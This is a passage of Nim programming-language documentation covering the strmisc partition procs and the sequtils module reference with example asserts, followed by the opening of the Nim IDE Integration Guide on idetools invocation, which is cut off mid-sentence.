cd\n xy " ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strmisc.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strmisc.nim#L15) ``` proc partition(s: string; sep: string; right: bool = false): (string, string, string) {...}{.noSideEffect, raises: [], tags: [].} ``` Split the string at the first or last occurrence of `sep` into a 3-tuple Returns a 3 string tuple of (beforeSep, `sep`, afterSep) or (`s`, "", "") if `sep` is not found and `right` is false or ("", "", `s`) if `sep` is not found and `right` is true **Example:** ``` doAssert partition("foo:bar", ":") == ("foo", ":", "bar") doAssert partition("foobarbar", "bar") == ("foo", "bar", "bar") doAssert partition("foobarbar", "bank") == ("foobarbar", "", "") doAssert partition("foobarbar", "foo") == ("", "foo", "barbar") doAssert partition("foofoobar", "bar") == ("foofoo", "bar", "") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strmisc.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strmisc.nim#L53) ``` proc rpartition(s: string; sep: string): (string, string, string) {...}{. noSideEffect, raises: [], tags: [].} ``` Split the string at the last occurrence of `sep` into a 3-tuple Returns a 3 string tuple of (beforeSep, `sep`, afterSep) or ("", "", `s`) if `sep` is not found **Example:** ``` doAssert rpartition("foo:bar", ":") == ("foo", ":", "bar") doAssert rpartition("foobarbar", "bar") == ("foobar", "bar", "") doAssert rpartition("foobarbar", "bank") == ("", "", "foobarbar") doAssert rpartition("foobarbar", "foo") == ("", "foo", "barbar") doAssert rpartition("foofoobar", "bar") == ("foofoo", "bar", "") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strmisc.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strmisc.nim#L73) nim sequtils sequtils ======== Although this module has `seq` in its name, it implements operations not only for seq type, but for three built-in container types under the `openArray` umbrella: * sequences * strings * array The system module defines several common functions, such as: * `newSeq[T]` for creating new sequences of type `T` * `@` for converting arrays and strings to sequences * `add` for adding new elements to strings and sequences * `&` for string and seq concatenation * `in` (alias for `contains`) and `notin` for checking if an item is in a container This module builds upon that, providing additional functionality in form of procs, iterators and templates inspired by functional programming languages. For functional style programming you have different options at your disposal: * [sugar.collect macro](sugar#collect.m%2Cuntyped%2Cuntyped) * pass [anonymous proc](manual#procedures-anonymous-procs) * import [sugar module](sugar) and use [=> macro](#) * use [...It templates](#18) ([mapIt](#mapIt.t,typed,untyped), [filterIt](#filterIt.t,untyped,untyped), etc.) The chaining of functions is possible thanks to the [method call syntax](manual#procedures-method-call-syntax). ``` import sequtils, sugar # Creating a sequence from 1 to 10, multiplying each member by 2, # keeping only the members which are not divisible by 6. let foo = toSeq(1..10).map(x => x*2).filter(x => x mod 6 != 0) bar = toSeq(1..10).mapIt(it*2).filterIt(it mod 6 != 0) baz = collect(newSeq): for i in 1..10: let j = 2*i if j mod 6 != 0: j doAssert foo == bar doAssert foo == baz echo foo # @[2, 4, 8, 10, 14, 16, 20] echo foo.any(x => x > 17) # true echo bar.allIt(it < 20) # false echo foo.foldl(a + b) # 74; sum of all members ``` ``` import sequtils from strutils import join let vowels = @"aeiou" # creates a sequence @['a', 'e', 'i', 'o', 'u'] foo = "sequtils is an awesome module" echo foo.filterIt(it notin vowels).join # "sqtls s n wsm mdl" ``` --- **See also**: * [strutils module](strutils) for common string functions * [sugar module](sugar) for syntactic sugar macros * [algorithm module](algorithm) for common generic algorithms * [json module](json) for a structure which allows heterogeneous members Imports ------- <since>, <macros> Procs ----- ``` proc concat[T](seqs: varargs[seq[T]]): seq[T] ``` Takes several sequences' items and returns them inside a new sequence. All sequences must be of the same type. See also: * [distribute proc](#distribute,seq%5BT%5D,Positive) for a reverse operation **Example:** ``` let s1 = @[1, 2, 3] s2 = @[4, 5] s3 = @[6, 7] total = concat(s1, s2, s3) assert total == @[1, 2, 3, 4, 5, 6, 7] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L113) ``` proc count[T](s: openArray[T]; x: T): int ``` Returns the number of occurrences of the item `x` in the container `s`. **Example:** ``` let a = @[1, 2, 2, 3, 2, 4, 2] b = "abracadabra" assert count(a, 2) == 4 assert count(a, 99) == 0 assert count(b, 'r') == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L138) ``` proc cycle[T](s: openArray[T]; n: Natural): seq[T] ``` Returns a new sequence with the items of the container `s` repeated `n` times. `n` must be a non-negative number (zero or more). **Example:** ``` let s = @[1, 2, 3] total = s.cycle(3) assert total == @[1, 2, 3, 1, 2, 3, 1, 2, 3] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L153) ``` proc repeat[T](x: T; n: Natural): seq[T] ``` Returns a new sequence with the item `x` repeated `n` times. `n` must be a non-negative number (zero or more). **Example:** ``` let total = repeat(5, 3) assert total == @[5, 5, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L171) ``` proc deduplicate[T](s: openArray[T]; isSorted: bool = false): seq[T] ``` Returns a new sequence without duplicates. Setting the optional argument `isSorted` to `true` (default: false) uses a faster algorithm for deduplication. **Example:** ``` let dup1 = @[1, 1, 3, 4, 2, 2, 8, 1, 4] dup2 = @["a", "a", "c", "d", "d"] unique1 = deduplicate(dup1) unique2 = deduplicate(dup2, isSorted = true) assert unique1 == @[1, 3, 4, 2, 8] assert unique2 == @["a", "c", "d"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L184) ``` proc minIndex[T](s: openArray[T]): int ``` Returns the index of the minimum value of `s`. `T` needs to have a `<` operator. **Example:** ``` let a = @[1, 2, 3, 4] b = @[6, 5, 4, 3] c = [2, -7, 8, -5] d = "ziggy" assert minIndex(a) == 0 assert minIndex(b) == 3 assert minIndex(c) == 1 assert minIndex(d) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L212) ``` proc maxIndex[T](s: openArray[T]): int ``` Returns the index of the maximum value of `s`. `T` needs to have a `<` operator. **Example:** ``` let a = @[1, 2, 3, 4] b = @[6, 5, 4, 3] c = [2, -7, 8, -5] d = "ziggy" assert maxIndex(a) == 3 assert maxIndex(b) == 0 assert maxIndex(c) == 2 assert maxIndex(d) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L229) ``` proc zip[S, T](s1: openArray[S]; s2: openArray[T]): seq[(S, T)] ``` Returns a new sequence with a combination of the two input containers. The input containers can be of different types. If one container is shorter, the remaining items in the longer container are discarded. **Note**: For Nim 1.0.x and older version, `zip` returned a seq of named tuple with fields `a` and `b`. For Nim versions 1.1.x and newer, `zip` returns a seq of unnamed tuples. **Example:** ``` let short = @[1, 2, 3] long = @[6, 5, 4, 3, 2, 1] words = @["one", "two", "three"] letters = "abcd" zip1 = zip(short, long) zip2 = zip(short, words) assert zip1 == @[(1, 6), (2, 5), (3, 4)] assert zip2 == @[(1, "one"), (2, "two"), (3, "three")] assert zip1[2][0] == 3 assert zip2[1][1] == "two" when (NimMajor, NimMinor) <= (1, 0): let zip3 = zip(long, letters) assert zip3 == @[(a: 6, b: 'a'), (5, 'b'), (4, 'c'), (3, 'd')] assert zip3[0].b == 'a' else: let zip3: seq[tuple[num: int, letter: char]] = zip(long, letters) assert zip3 == @[(6, 'a'), (5, 'b'), (4, 'c'), (3, 'd')] assert zip3[0].letter == 'a' ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L289) ``` proc unzip[S, T](s: openArray[(S, T)]): (seq[S], seq[T]) ``` Returns a tuple of two sequences split out from a sequence of 2-field tuples. **Example:** ``` let zipped = @[(1, 'a'), (2, 'b'), (3, 'c')] unzipped1 = @[1, 2, 3] unzipped2 = @['a', 'b', 'c'] assert zipped.unzip() == (unzipped1, unzipped2) assert zip(unzipped1, unzipped2).unzip() == (unzipped1, unzipped2) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L291) ``` proc distribute[T](s: seq[T]; num: Positive; spread = true): seq[seq[T]] ``` Splits and distributes a sequence `s` into `num` sub-sequences. Returns a sequence of `num` sequences. For *some* input values this is the inverse of the [concat](#concat,varargs%5Bseq%5BT%5D%5D) proc. The input sequence `s` can be empty, which will produce `num` empty sequences. If `spread` is false and the length of `s` is not a multiple of `num`, the proc will max out the first sub-sequence with `1 + len(s) div num` entries, leaving the remainder of elements to the last sequence. On the other hand, if `spread` is true, the proc will distribute evenly the remainder of the division across all sequences, which makes the result more suited to multithreading where you are passing equal sized work units to a thread pool and want to maximize core usage. **Example:** ``` let numbers = @[1, 2, 3, 4, 5, 6, 7] assert numbers.distribute(3) == @[@[1, 2, 3], @[4, 5], @[6, 7]] assert numbers.distribute(3, false) == @[@[1, 2, 3], @[4, 5, 6], @[7]] assert numbers.distribute(6)[0] == @[1, 2] assert numbers.distribute(6)[1] == @[3] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L306) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L306) ``` proc map[T, S](s: openArray[T]; op: proc (x: T): S {...}{.closure.}): seq[S] {...}{.inline.} ``` Returns a new sequence with the results of `op` proc applied to every item in the container `s`. Since the input is not modified you can use it to transform the type of the elements in the input container. Instead of using `map` and `filter`, consider using the `collect` macro from the `sugar` module. See also: * [sugar.collect macro](sugar#collect.m%2Cuntyped%2Cuntyped) * [mapIt template](#mapIt.t,typed,untyped) * [apply proc](#apply,openArray%5BT%5D,proc(T)_2) for the in-place version **Example:** ``` let a = @[1, 2, 3, 4] b = map(a, proc(x: int): string = $x) assert b == @["1", "2", "3", "4"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L363) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L363) ``` proc apply[T](s: var openArray[T]; op: proc (x: var T) {...}{.closure.}) {...}{.inline.} ``` Applies `op` to every item in `s` modifying it directly. Note that container `s` must be declared as a `var` and it is required for your input and output types to be the same, since `s` is modified in-place. The parameter function takes a `var T` type parameter. See also: * [applyIt template](#applyIt.t,untyped,untyped) * [map proc](#map,openArray%5BT%5D,proc(T)) **Example:** ``` var a = @["1", "2", "3", "4"] apply(a, proc(x: var string) = x &= "42") assert a == @["142", "242", "342", "442"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L389) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L389) ``` proc apply[T](s: var openArray[T]; op: proc (x: T): T {...}{.closure.}) {...}{.inline.} ``` Applies `op` to every item in `s` modifying it directly. Note that container `s` must be declared as a `var` and it is required for your input and output types to be the same, since `s` is modified in-place. The parameter function takes and returns a `T` type variable. See also: * [applyIt template](#applyIt.t,untyped,untyped) * [map proc](#map,openArray%5BT%5D,proc(T)) **Example:** ``` var a = @["1", "2", "3", "4"] apply(a, proc(x: string): string = x & "42") assert a == @["142", "242", "342", "442"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L409) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L409) ``` proc apply[T](s: openArray[T]; op: proc (x: T) {...}{.closure.}) {...}{.inline.} ``` Same as `apply` but for proc that do not return and do not mutate `s` directly. **Example:** ``` apply([0, 1, 2, 3, 4], proc(item: int) = echo item) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L429) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L429) ``` proc filter[T](s: openArray[T]; pred: proc (x: T): bool {...}{.closure.}): seq[T] {...}{. inline.} ``` Returns a new sequence with all the items of `s` that fulfilled the predicate `pred` (function that returns a `bool`). Instead of using `map` and `filter`, consider using the `collect` macro from the `sugar` module. See also: * [sugar.collect macro](sugar#collect.m%2Cuntyped%2Cuntyped) * [filterIt template](#filterIt.t,untyped,untyped) * [filter iterator](#filter.i,openArray%5BT%5D,proc(T)) * [keepIf proc](#keepIf,seq%5BT%5D,proc(T)) for the in-place version **Example:** ``` let colors = @["red", "yellow", "black"] f1 = filter(colors, proc(x: string): bool = x.len < 6) f2 = filter(colors, proc(x: string): bool = x.contains('y')) assert f1 == @["red", "black"] assert f2 == @["yellow"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L457) ``` proc keepIf[T](s: var seq[T]; pred: proc (x: T): bool {...}{.closure.}) {...}{.inline.} ``` Keeps the items in the passed sequence `s` if they fulfilled the predicate `pred` (function that returns a `bool`). Note that `s` must be declared as a `var`. Similar to the [filter proc](#filter,openArray%5BT%5D,proc(T)), but modifies the sequence directly. See also: * [keepItIf template](#keepItIf.t,seq,untyped) * [filter proc](#filter,openArray%5BT%5D,proc(T)) **Example:** ``` var floats = @[13.0, 12.5, 5.8, 2.0, 6.1, 9.9, 10.1] keepIf(floats, proc(x: float): bool = x > 10) assert floats == @[13.0, 12.5, 10.1] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L484) ``` proc delete[T](s: var seq[T]; first, last: Natural) ``` Deletes in the items of a sequence `s` at positions `first..last` (including both ends of a range). This modifies `s` itself, it does not return a copy. **Example:** ``` let outcome = @[1, 1, 1, 1, 1, 1, 1, 1] var dest = @[1, 1, 1, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1] dest.delete(3, 8) assert outcome == dest ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L514) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L514) ``` proc insert[T](dest: var seq[T]; src: openArray[T]; pos = 0) ``` Inserts items from `src` into `dest` at position `pos`. This modifies `dest` itself, it does not return a copy. Notice that `src` and `dest` must be of the same type. **Example:** ``` var dest = @[1, 1, 1, 1, 1, 1, 1, 1] let src = @[2, 2, 2, 2, 2, 2] outcome = @[1, 1, 1, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1] dest.insert(src, 3) assert dest == outcome ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L539) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L539) ``` proc all[T](s: openArray[T]; pred: proc (x: T): bool {...}{.closure.}): bool ``` Iterates through a container and checks if every item fulfills the predicate. See also: * [allIt template](#allIt.t,untyped,untyped) * [any proc](#any,openArray%5BT%5D,proc(T)) **Example:** ``` let numbers = @[1, 4, 5, 8, 9, 7, 4] assert all(numbers, proc (x: int): bool = return x < 10) == true assert all(numbers, proc (x: int): bool = return x < 9) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L651) ``` proc any[T](s: openArray[T]; pred: proc (x: T): bool {...}{.closure.}): bool ``` Iterates through a container and checks if some item fulfills the predicate. See also: * [anyIt template](#anyIt.t,untyped,untyped) * [all proc](#all,openArray%5BT%5D,proc(T)) **Example:** ``` let numbers = @[1, 4, 5, 8, 9, 7, 4] assert any(numbers, proc (x: int): bool = return x > 8) == true assert any(numbers, proc (x: int): bool = return x > 9) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L693) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L693) Iterators --------- ``` iterator filter[T](s: openArray[T]; pred: proc (x: T): bool {...}{.closure.}): T ``` Iterates through a container `s` and yields every item that fulfills the predicate `pred` (function that returns a `bool`). Instead of using `map` and `filter`, consider using the `collect` macro from the `sugar` module. See also: * [sugar.collect macro](sugar#collect.m%2Cuntyped%2Cuntyped) * [filter proc](#filter,openArray%5BT%5D,proc(T)) * [filterIt template](#filterIt.t,untyped,untyped) **Example:** ``` let numbers = @[1, 4, 5, 8, 9, 7, 4] var evens = newSeq[int]() for n in filter(numbers, proc (x: int): bool = x mod 2 == 0): evens.add(n) assert evens == @[4, 8, 4] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L434) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L434) ``` iterator items[T](xs: iterator (): T): T ``` iterates over each element yielded by a closure iterator. This may not seem particularly useful on its own, but this allows closure iterators to be used by the the mapIt, filterIt, allIt, anyIt, etc. templates. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L1101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L1101) Macros ------ ``` macro mapLiterals(constructor, op: untyped; nested = true): untyped ``` Applies `op` to each of the **atomic** literals like `3` or `"abc"` in the specified `constructor` AST. This can be used to map every array element to some target type: Example: ``` let x = mapLiterals([0.1, 1.2, 2.3, 3.4], int) doAssert x is array[4, int] ``` Short notation for: ``` let x = [int(0.1), int(1.2), int(2.3), int(3.4)] ``` If `nested` is true (which is the default), the literals are replaced everywhere in the `constructor` AST, otherwise only the first level is considered: ``` let a = mapLiterals((1.2, (2.3, 3.4), 4.8), int) let b = mapLiterals((1.2, (2.3, 3.4), 4.8), int, nested=false) assert a == (1, (2, 3), 4) assert b == (1, (2.3, 3.4), 4) let c = mapLiterals((1, (2, 3), 4, (5, 6)), `$`) let d = mapLiterals((1, (2, 3), 4, (5, 6)), `$`, nested=false) assert c == ("1", ("2", "3"), "4", ("5", "6")) assert d == ("1", (2, 3), "4", (5, 6)) ``` There are no constraints for the `constructor` AST, it works for nested tuples of arrays of sets etc. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L1065) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L1065) Templates --------- ``` template filterIt(s, pred: untyped): untyped ``` Returns a new sequence with all the items of `s` that fulfilled the predicate `pred`. Unlike the [filter proc](#filter,openArray%5BT%5D,proc(T)) and [filter iterator](#filter.i,openArray%5BT%5D,proc(T)), the predicate needs to be an expression using the `it` variable for testing, like: `filterIt("abcxyz", it == 'x')`. Instead of using `mapIt` and `filterIt`, consider using the `collect` macro from the `sugar` module. See also: * [sugar.collect macro](sugar#collect.m%2Cuntyped%2Cuntyped) * [fliter proc](#filter,openArray%5BT%5D,proc(T)) * [filter iterator](#filter.i,openArray%5BT%5D,proc(T)) **Example:** ``` let temperatures = @[-272.15, -2.0, 24.5, 44.31, 99.9, -113.44] acceptable = temperatures.filterIt(it < 50 and it > -10) notAcceptable = temperatures.filterIt(it > 50 or it < -10) assert acceptable == @[-2.0, 24.5, 44.31] assert notAcceptable == @[-272.15, 99.9, -113.44] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L573) ``` template keepItIf(varSeq: seq; pred: untyped) ``` Keeps the items in the passed sequence (must be declared as a `var`) if they fulfilled the predicate. Unlike the [keepIf proc](#keepIf,seq%5BT%5D,proc(T)), the predicate needs to be an expression using the `it` variable for testing, like: `keepItIf("abcxyz", it == 'x')`. See also: * [keepIf proc](#keepIf,seq%5BT%5D,proc(T)) * [filterIt template](#filterIt.t,untyped,untyped) **Example:** ``` var candidates = @["foo", "bar", "baz", "foobar"] candidates.keepItIf(it.len == 3 and it[0] == 'b') assert candidates == @["bar", "baz"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L603) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L603) ``` template countIt(s, pred: untyped): int ``` Returns a count of all the items that fulfilled the predicate. The predicate needs to be an expression using the `it` variable for testing, like: `countIt(@[1, 2, 3], it > 2)`. **Example:** ``` let numbers = @[-3, -2, -1, 0, 1, 2, 3, 4, 5, 6] iterator iota(n: int): int = for i in 0..<n: yield i assert numbers.countIt(it < 0) == 3 assert countIt(iota(10), it < 2) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L633) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L633) ``` template allIt(s, pred: untyped): bool ``` Iterates through a container and checks if every item fulfills the predicate. Unlike the [all proc](#all,openArray%5BT%5D,proc(T)), the predicate needs to be an expression using the `it` variable for testing, like: `allIt("abba", it == 'a')`. See also: * [all proc](#all,openArray%5BT%5D,proc(T)) * [anyIt template](#anyIt.t,untyped,untyped) **Example:** ``` let numbers = @[1, 4, 5, 8, 9, 7, 4] assert numbers.allIt(it < 10) == true assert numbers.allIt(it < 9) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L669) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L669) ``` template anyIt(s, pred: untyped): bool ``` Iterates through a container and checks if some item fulfills the predicate. Unlike the [any proc](#any,openArray%5BT%5D,proc(T)), the predicate needs to be an expression using the `it` variable for testing, like: `anyIt("abba", it == 'a')`. See also: * [any proc](#any,openArray%5BT%5D,proc(T)) * [allIt template](#allIt.t,untyped,untyped) **Example:** ``` let numbers = @[1, 4, 5, 8, 9, 7, 4] assert numbers.anyIt(it > 8) == true assert numbers.anyIt(it > 9) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L711) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L711) ``` template toSeq(iter: untyped): untyped ``` Transforms any iterable (anything that can be iterated over, e.g. with a for-loop) into a sequence. **Example:** ``` let myRange = 1..5 mySet: set[int8] = {5'i8, 3, 1} assert typeof(myRange) is HSlice[system.int, system.int] assert typeof(mySet) is set[int8] let mySeq1 = toSeq(myRange) mySeq2 = toSeq(mySet) assert mySeq1 == @[1, 2, 3, 4, 5] assert mySeq2 == @[1'i8, 3, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L776) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L776) ``` template foldl(sequence, operation: untyped): untyped ``` Template to fold a sequence from left to right, returning the accumulation. The sequence is required to have at least a single element. Debug versions of your program will assert in this situation but release versions will happily go ahead. If the sequence has a single element it will be returned without applying `operation`. The `operation` parameter should be an expression which uses the variables `a` and `b` for each step of the fold. Since this is a left fold, for non associative binary operations like subtraction think that the sequence of numbers 1, 2 and 3 will be parenthesized as (((1) - 2) - 3). See also: * [foldl template](#foldl.t,,,) with a starting parameter * [foldr template](#foldr.t,untyped,untyped) **Example:** ``` let numbers = @[5, 9, 11] addition = foldl(numbers, a + b) subtraction = foldl(numbers, a - b) multiplication = foldl(numbers, a * b) words = @["nim", "is", "cool"] concatenation = foldl(words, a & b) procs = @["proc", "Is", "Also", "Fine"] proc foo(acc, cur: string): string = result = acc & cur assert addition == 25, "Addition is (((5)+9)+11)" assert subtraction == -15, "Subtraction is (((5)-9)-11)" assert multiplication == 495, "Multiplication is (((5)*9)*11)" assert concatenation == "nimiscool" assert foldl(procs, foo(a, b)) == "procIsAlsoFine" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L814) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L814) ``` template foldl(sequence, operation, first): untyped ``` Template to fold a sequence from left to right, returning the accumulation. This version of `foldl` gets a **starting parameter**. This makes it possible to accumulate the sequence into a different type than the sequence elements. The `operation` parameter should be an expression which uses the variables `a` and `b` for each step of the fold. The `first` parameter is the start value (the first `a`) and therefor defines the type of the result. See also: * [foldr template](#foldr.t,untyped,untyped) **Example:** ``` let numbers = @[0, 8, 1, 5] digits = foldl(numbers, a & (chr(b + ord('0'))), "") assert digits == "0815" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L863) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L863) ``` template foldr(sequence, operation: untyped): untyped ``` Template to fold a sequence from right to left, returning the accumulation. The sequence is required to have at least a single element. Debug versions of your program will assert in this situation but release versions will happily go ahead. If the sequence has a single element it will be returned without applying `operation`. The `operation` parameter should be an expression which uses the variables `a` and `b` for each step of the fold. Since this is a right fold, for non associative binary operations like subtraction think that the sequence of numbers 1, 2 and 3 will be parenthesized as (1 - (2 - (3))). See also: * [foldl template](#foldl.t,untyped,untyped) * [foldl template](#foldl.t,,,) with a starting parameter **Example:** ``` let numbers = @[5, 9, 11] addition = foldr(numbers, a + b) subtraction = foldr(numbers, a - b) multiplication = foldr(numbers, a * b) words = @["nim", "is", "cool"] concatenation = foldr(words, a & b) assert addition == 25, "Addition is (5+(9+(11)))" assert subtraction == 7, "Subtraction is (5-(9-(11)))" assert multiplication == 495, "Multiplication is (5*(9*(11)))" assert concatenation == "nimiscool" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L890) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L890) ``` template mapIt(s: typed; op: untyped): untyped ``` Returns a new sequence with the results of `op` proc applied to every item in the container `s`. Since the input is not modified you can use it to transform the type of the elements in the input container. The template injects the `it` variable which you can use directly in an expression. Instead of using `mapIt` and `filterIt`, consider using the `collect` macro from the `sugar` module. See also: * [sugar.collect macro](sugar#collect.m%2Cuntyped%2Cuntyped) * [map proc](#map,openArray%5BT%5D,proc(T)) * [applyIt template](#applyIt.t,untyped,untyped) for the in-place version **Example:** ``` let nums = @[1, 2, 3, 4] strings = nums.mapIt($(4 * it)) assert strings == @["4", "8", "12", "16"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L932) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L932) ``` template applyIt(varSeq, op: untyped) ``` Convenience template around the mutable `apply` proc to reduce typing. The template injects the `it` variable which you can use directly in an expression. The expression has to return the same type as the sequence you are mutating. See also: * [apply proc](#apply,openArray%5BT%5D,proc(T)_2) * [mapIt template](#mapIt.t,typed,untyped) **Example:** ``` var nums = @[1, 2, 3, 4] nums.applyIt(it * 3) assert nums[0] + nums[3] == 15 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L1007) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L1007) ``` template newSeqWith(len: int; init: untyped): untyped ``` Creates a new sequence of length `len`, calling `init` to initialize each value of the sequence. Useful for creating "2D" sequences - sequences containing other sequences or to populate fields of the created sequence. **Example:** ``` ## Creates a sequence containing 5 bool sequences, each of length of 3. var seq2D = newSeqWith(5, newSeq[bool](3)) assert seq2D.len == 5 assert seq2D[0].len == 3 assert seq2D[4][2] == false ## Creates a sequence of 20 random numbers from 1 to 10 import random var seqRand = newSeqWith(20, rand(10)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sequtils.nim#L1028) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sequtils.nim#L1028)
programming_docs
nim Nim IDE Integration Guide Nim IDE Integration Guide ========================= > "yes, I'm the creator" -- Araq, 2013-07-26 19:28:32. > > Note: this is mostly outdated, see instead <nimsuggest> Nim differs from many other compilers in that it is really fast, and being so fast makes it suited to provide external queries for text editors about the source code being written. Through the `idetools` command of [the compiler](nimc), any IDE can query a `.nim` source file and obtain useful information like definition of symbols or suggestions for completion. This document will guide you through the available options. If you want to look at practical examples of idetools support you can look at the test files found in the [Test suite](#test-suite) or [various editor integrations](https://github.com/Araq/Nim/wiki/Editor-Support) already available. Idetools invocation ------------------- ### Specifying the location of the query All of the available idetools commands require you to specify a query location through the `--track` or `--trackDirty` switches. The general idetools invocations are: ``` nim idetools --track:FILE,LINE,COL <switches> proj.nim ``` Or: ``` nim idetools --trackDirty:DIRTY_FILE,FILE,LINE,COL <switches> proj.nim ``` `proj.nim` This is the main *project* filename. Most of the time you will pass in the same as **FILE**, but for bigger projects this is the file which is used as main entry point for the program, the one which users compile to generate a final binary. `<switches>` This would be any of the other idetools available options, like `--def` or 